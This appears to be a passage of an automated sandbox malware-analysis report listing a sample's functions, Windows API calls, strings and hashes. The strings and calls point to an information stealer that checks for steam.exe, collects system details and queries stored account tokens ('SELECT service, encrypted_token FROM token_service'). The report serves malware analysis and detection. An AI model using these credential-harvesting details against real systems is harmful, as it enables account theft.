CloseHandle.KERNEL32(00000000), ref: 0042488D

Strings

steam.exe, xrefs: 00424864

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process32$Next$CloseCreateFirstHandleSnapshotToolhelp32
String ID: steam.exe
API String ID: 2284531361-2826358650
Opcode ID: 5939fcc5ae5cdaf6c570834f8aa09dd21bc5919062f6575afacdd567099b0400
Instruction ID: e6542fafefc51ec26fbb879ef48ead612183b3d809bcb80a6d6b27805b7a5e0e
Opcode Fuzzy Hash: 5939fcc5ae5cdaf6c570834f8aa09dd21bc5919062f6575afacdd567099b0400
Instruction Fuzzy Hash: 920167316112289BD724AB61AC89FEB77BDEF48750F4401DAF908D2140EFB899548EE5

Function 00414C89 Relevance: 12.1, APIs: 8, Instructions: 102stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414CB1
lstrcpy.KERNEL32(00000000,00000000), ref: 00414CD4
lstrcatA.KERNEL32(00000000,00000000), ref: 00414CDF
lstrlenA.KERNEL32(00434CB8), ref: 00414CEA
lstrcpy.KERNEL32(00000000,00000000), ref: 00414D07
lstrcatA.KERNEL32(00000000,00434CB8), ref: 00414D13
lstrcpy.KERNEL32(00000000,00000000), ref: 00414D3E
FindFirstFileA.KERNEL32(00000000,?), ref: 00414D5A

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID:
API String ID: 2567437900-0
Opcode ID: 1dee737dd80689227c645159a1ef53f19203bd24c212f928bcc828e0d242a213
Instruction ID: bfa361c06b338c2b498155ce641e88053fa7df948152789b80795fb84c57d895
Opcode Fuzzy Hash: 1dee737dd80689227c645159a1ef53f19203bd24c212f928bcc828e0d242a213
Instruction Fuzzy Hash: 2D314F317111159BCB22EF69EE89A9F77A5AF90308F01113AB805A72D1DFB89C458F98

Function 00422F30 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 235memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004273F0: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042740E

GetKeyboardLayoutList.USER32(00000000,00000000,00000000,00000000), ref: 00422F6B
LocalAlloc.KERNEL32(00000040,00000000), ref: 00422F7D
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00422F8A
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00422FBC
LocalFree.KERNEL32(00000000), ref: 0042319A

Strings

/ , xrefs: 00422FCF

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 9fe076c3da9bf41f5e63e67d2898545082e60f096bb98e1dfcc0ddddef0968c3
Instruction ID: bd9fb7256fdb459ab76f2971645e6a7237e82d86de38d9598de5da48dbfac216
Opcode Fuzzy Hash: 9fe076c3da9bf41f5e63e67d2898545082e60f096bb98e1dfcc0ddddef0968c3
Instruction Fuzzy Hash: 78B10C70A00224CFC714CF58E948B66B7F1BB44315F69C1AAD409AB3A6D77A9D82CF94

Function 00422DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000), ref: 00422E12
HeapAlloc.KERNEL32(00000000), ref: 00422E19
GetTimeZoneInformation.KERNEL32(?), ref: 00422E28
wsprintfA.USER32 ref: 00422E53

Strings

wwww, xrefs: 00422E39

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID: wwww
API String ID: 362916592-671953474
Opcode ID: 77bdba7ea26244f69113dcd2dc7f09b69ba6266c30414d6f398da59b986466c8
Instruction ID: 8d8e646ca047b3d6ef3a7dbfbb27b00181d6f61c5dd8b32bd78c2c4fff5fd9a7
Opcode Fuzzy Hash: 77bdba7ea26244f69113dcd2dc7f09b69ba6266c30414d6f398da59b986466c8
Instruction Fuzzy Hash: AC01F771A04614ABC71C9B58DC4AB6AB76AEB84720F10432AF916D73C0D7B459008AE5

Function 00422C10 Relevance: 4.5, APIs: 3, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,00000000), ref: 00422C3F
HeapAlloc.KERNEL32(00000000), ref: 00422C46
GetUserNameA.ADVAPI32(00000000,00000104), ref: 00422C5A

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: fa738ee861b1d682c4ad799a473bde607761e807e886556c509f5aa502afa864
Instruction ID: eafcfd8408abf31dcdc5f7efa7efe72b9a9e0bda40d3ebfab19b25c76b2a2745
Opcode Fuzzy Hash: fa738ee861b1d682c4ad799a473bde607761e807e886556c509f5aa502afa864
Instruction Fuzzy Hash: B2F054B1A44614AFD710DF98DD49B9ABBBCF744B61F10021AF915E3680D7B419048BE1

Function 0040BF20 Relevance: 136.7, APIs: 90, Instructions: 1719stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040BF5F
lstrlenA.KERNEL32(02F64D18), ref: 0040BF78
lstrcpy.KERNEL32(00000000,?), ref: 0040BFA2
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BFAA
lstrlenA.KERNEL32(0043179C), ref: 0040BFB5
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BFD5
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040BFE1
lstrcpy.KERNEL32(00000000,?), ref: 0040C00C
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C017
lstrlenA.KERNEL32(02F64C88), ref: 0040C025
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C04E
lstrcatA.KERNEL32(00000000,02F64C88), ref: 0040C056
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C084
lstrlenA.KERNEL32(02F64D18), ref: 0040C0A9
lstrcpy.KERNEL32(00000000,?), ref: 0040C0D3
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C0DB
lstrlenA.KERNEL32(0043179C), ref: 0040C0E6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C106
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040C112
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C13B
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C146
lstrlenA.KERNEL32(00434BA8), ref: 0040C151
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C173
lstrcatA.KERNEL32(00000000,00434BA8), ref: 0040C17F
lstrcpy.KERNEL32(00000000,?), ref: 0040C1A7
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C1B2
lstrlenA.KERNEL32(02F64C88), ref: 0040C1C1
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C1E7
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C1F2
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C220
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040C2BF
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C319

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: 39d1b81b8d38d47c7d9807468e4239a61eeeeb001215639d84ddec3bdf127df2
Instruction ID: c74bedc34cd2d33f2d8945bc0e9399bb3639bc44bdd98da16626994a787bac77
Opcode Fuzzy Hash: 39d1b81b8d38d47c7d9807468e4239a61eeeeb001215639d84ddec3bdf127df2
Instruction Fuzzy Hash: 9CE23E70A01206DFDB24DF65D988A6AB7B5AF44304F18817EE809AB3E1D779DC42CF94

Function 0040A340 Relevance: 118.0, APIs: 78, Instructions: 1041stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040A372
lstrlenA.KERNEL32(02F65C40), ref: 0040A381
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A3A4
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A3AF
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A3D5
lstrcpy.KERNEL32(00000000,?), ref: 0040A411
lstrcatA.KERNEL32(00000000), ref: 0040A41B
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A444
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0040A460
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040A48F
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040A4F5
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A549
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A589

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$CopyFilelstrlen
String ID:
API String ID: 3790741607-0
Opcode ID: ae4de4de0a41454316f25ae8a1af6764a8ce00a372575e566bca101bde5ebac9
Instruction ID: d98a3c33112fd4366c833556b985180f909e62351c1d50745ac7a47fd7804ffe
Opcode Fuzzy Hash: ae4de4de0a41454316f25ae8a1af6764a8ce00a372575e566bca101bde5ebac9
Instruction Fuzzy Hash: BA824C70A112169BCB21AB69CD48AAF77B6AF44304F04413AE805B73E1DB78DC15CFA9

Function 0040BF39 Relevance: 111.1, APIs: 73, Instructions: 1564stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040BF5F
lstrlenA.KERNEL32(02F64D18), ref: 0040BF78
lstrcpy.KERNEL32(00000000,?), ref: 0040BFA2
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BFAA
lstrlenA.KERNEL32(0043179C), ref: 0040BFB5
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BFD5
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040BFE1
lstrcpy.KERNEL32(00000000,?), ref: 0040C00C
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C017
lstrlenA.KERNEL32(02F64C88), ref: 0040C025
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C04E
lstrcatA.KERNEL32(00000000,02F64C88), ref: 0040C056
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C084
lstrlenA.KERNEL32(02F64D18), ref: 0040C0A9
lstrcpy.KERNEL32(00000000,?), ref: 0040C0D3
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C0DB
lstrlenA.KERNEL32(0043179C), ref: 0040C0E6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C106
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040C112
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C13B
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C146
lstrlenA.KERNEL32(00434BA8), ref: 0040C151
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C173
lstrcatA.KERNEL32(00000000,00434BA8), ref: 0040C17F
lstrcpy.KERNEL32(00000000,?), ref: 0040C1A7
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C1B2
lstrlenA.KERNEL32(02F64C88), ref: 0040C1C1
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040C2BF
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C319
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C359

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: 15a049266dc23a4e10b748ff92aa43cb5cece230de0205f3a8b09b1d1ada7925
Instruction ID: ca33dbf402c02c63fa4bf793fe96a7a218526a747b8d4e01ecc3f7fe84826a6e
Opcode Fuzzy Hash: 15a049266dc23a4e10b748ff92aa43cb5cece230de0205f3a8b09b1d1ada7925
Instruction Fuzzy Hash: 96D22C70A01206DFDB24DF65D988A6AB7B5AF44304F18817EE409AB3E1D779DC42CF98

Function 0040F770 Relevance: 101.5, APIs: 67, Instructions: 1017stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040F7AE
lstrlenA.KERNEL32(02F65C40), ref: 0040F7BD
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F7E0
lstrcatA.KERNEL32(00000000,00000000), ref: 0040F7EB
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F811
lstrcpy.KERNEL32(00000000,?), ref: 0040F852
lstrcatA.KERNEL32(00000000), ref: 0040F85C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F885
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0040F8A4
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040F8D4
lstrlenA.KERNEL32(02F64C58), ref: 0040F8E3
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F90B
lstrcatA.KERNEL32(00000000,00000000), ref: 0040F916
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F93F
lstrlenA.KERNEL32(0043179C), ref: 0040F951
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F973
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040F97F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9A8
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9D7
lstrcatA.KERNEL32(00000000,00000000), ref: 0040F9E2
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FA09
lstrlenA.KERNEL32(00434BA8), ref: 0040FA1B
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FA3D
lstrcatA.KERNEL32(00000000,00434BA8), ref: 0040FA49
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FA74
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FAA1
lstrcatA.KERNEL32(00000000,00000000), ref: 0040FAAC
lstrlenA.KERNEL32(02F64C88), ref: 0040FABA
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FADE
lstrcatA.KERNEL32(00000000,02F64C88), ref: 0040FAE6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FB11
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040FB67
RtlAllocateHeap.NTDLL(00000000), ref: 0040FB6E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FBBD
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FBF6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FC29
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FC5C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FC96
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FCC9
lstrcpy.KERNEL32(00000000,00000000), ref: 0040FCFB
StrCmpCA.SHLWAPI(?,00434CF4), ref: 0040FD0A
lstrlenA.KERNEL32(02F64CF8), ref: 0040FD1C
lstrlenA.KERNEL32(02F64BD8), ref: 0040FD51
lstrcpy.KERNEL32(00000000,02F64BD8), ref: 0040FD7E
StrCmpCA.SHLWAPI(?,00434CF4), ref: 0040FD8D
lstrlenA.KERNEL32(02F64CF8), ref: 0040FD9F
lstrlenA.KERNEL32(02F64BD8), ref: 0040FDD4
lstrcpy.KERNEL32(00000000,02F64BD8), ref: 0040FE01
lstrcatA.KERNEL32(?,?), ref: 0040FE0F
lstrcatA.KERNEL32(?,00434CF8), ref: 0040FE1E
lstrcatA.KERNEL32(?,00000000), ref: 0040FE2C
lstrcatA.KERNEL32(?,00434CF8), ref: 0040FE3B
lstrcatA.KERNEL32(?,?), ref: 0040FE49
lstrcatA.KERNEL32(?,00434CF8), ref: 0040FE58
lstrcatA.KERNEL32(?,00000000), ref: 0040FE66
lstrcatA.KERNEL32(?,00434CF8), ref: 0040FE75
lstrcatA.KERNEL32(?,?), ref: 0040FE83
lstrcatA.KERNEL32(?,00434CF8), ref: 0040FE92
lstrcatA.KERNEL32(?,?), ref: 0040FEA0
lstrcatA.KERNEL32(?,00434CF8), ref: 0040FEAF
lstrcatA.KERNEL32(?,00000000), ref: 0040FEBA
lstrcatA.KERNEL32(?,00434AE4), ref: 0040FEC9
lstrlenA.KERNEL32(?), ref: 004101E8
lstrlenA.KERNEL32(?), ref: 004101F7
lstrcpy.KERNEL32(00000000,00000000), ref: 00410224
memset.MSVCRT ref: 0041025C
DeleteFileA.KERNEL32(?), ref: 00410286

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$FileHeap$AllocateCopyDeleteProcessmemset
String ID:
API String ID: 1332541768-0
Opcode ID: 8383dd1e264d1be83c4d7bc938a2ca79d85a2069ba765f5dcd80654384fb4555
Instruction ID: 46bbb525c334462f6537d85bd2d23803d7faacfdfc9b439ff44b628f1d05be16
Opcode Fuzzy Hash: 8383dd1e264d1be83c4d7bc938a2ca79d85a2069ba765f5dcd80654384fb4555
Instruction Fuzzy Hash: 44826071A012069FCB24DF69D948AABB7B5AF44304F18807EE805E73A1DB79DC45CFA4

Function 0040D330 Relevance: 98.7, APIs: 53, Strings: 3, Instructions: 699stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040D363
lstrlenA.KERNEL32(AccountTokens), ref: 0040D36E
lstrcpy.KERNEL32(00000000,?), ref: 0040D39B
lstrcatA.KERNEL32(00000000,AccountTokens), ref: 0040D3A7
lstrlenA.KERNEL32(0043179C), ref: 0040D3B2
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D3D2
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040D3DE
lstrcpy.KERNEL32(00000000,?), ref: 0040D409
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D414
lstrlenA.KERNEL32(02F64C88), ref: 0040D422
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D44B
lstrcatA.KERNEL32(00000000,02F64C88), ref: 0040D453
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D481
lstrcpy.KERNEL32(00000000,?), ref: 0040D4B6
lstrcatA.KERNEL32(00000000,AccountTokens), ref: 0040D4C2
lstrlenA.KERNEL32(0043179C), ref: 0040D4CD
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D4ED
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040D4F9
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D522
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D52D
lstrlenA.KERNEL32(00434BA8), ref: 0040D538
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D55A
lstrcatA.KERNEL32(00000000,00434BA8), ref: 0040D566
lstrcpy.KERNEL32(00000000,?), ref: 0040D58E
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D599
lstrlenA.KERNEL32(02F64C88), ref: 0040D5A8
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D5CE
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D5D9
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D607
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040D6A0
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D6ED
lstrcpy.KERNEL32(00000000,?), ref: 0040D74A
lstrlenA.KERNEL32(?), ref: 0040D767
LocalAlloc.KERNEL32(00000040,00000001), ref: 0040D787
StrStrA.SHLWAPI(00000000,AccountId), ref: 0040D7B1
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D7EB
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D7F6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D821
lstrlenA.KERNEL32(00434CB4), ref: 0040D833
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D855
lstrcatA.KERNEL32(00000000,00434CB4), ref: 0040D861

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

Part of subcall function 0041EFC0: lstrcpy.KERNEL32(00000000,?), ref: 0041EFF2

lstrcpy.KERNEL32(00000000,00000000), ref: 0040D88C
lstrlenA.KERNEL32(0000000A), ref: 0040D89D
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D8C5
lstrcatA.KERNEL32(00000000,00000000), ref: 0040D8D0
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D8F8
lstrlenA.KERNEL32(00434AE4), ref: 0040D90A
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D92A
lstrcatA.KERNEL32(00000000,00434AE4), ref: 0040D936
lstrcpy.KERNEL32(00000000,00000000), ref: 0040D95F
lstrlenA.KERNEL32(?), ref: 0040DA72
lstrlenA.KERNEL32(?), ref: 0040DA7E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040DAA6

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0040D65E
AccountId, xrefs: 0040D7AB
AccountTokens, xrefs: 0040D369, 0040D3A1, 0040D4BC

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AllocLocal
String ID: AccountId$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3196764088-2907684507
Opcode ID: fa195756a04c4ede1a73a489b99186fa8652872ad52d937c7f8addde859da63d
Instruction ID: ee567e58a40e26b77a932cb6cbe24b581d72f8248e1f422cfd6b9d24a3c622e0
Opcode Fuzzy Hash: fa195756a04c4ede1a73a489b99186fa8652872ad52d937c7f8addde859da63d
Instruction Fuzzy Hash: 25423D71A112069BCB11AFA9DD89AAF77B5AF44304F14503AF805B72E1DB78DC09CF98

Function 00405869 Relevance: 91.7, APIs: 48, Strings: 4, Instructions: 663
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00405893
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004058C3
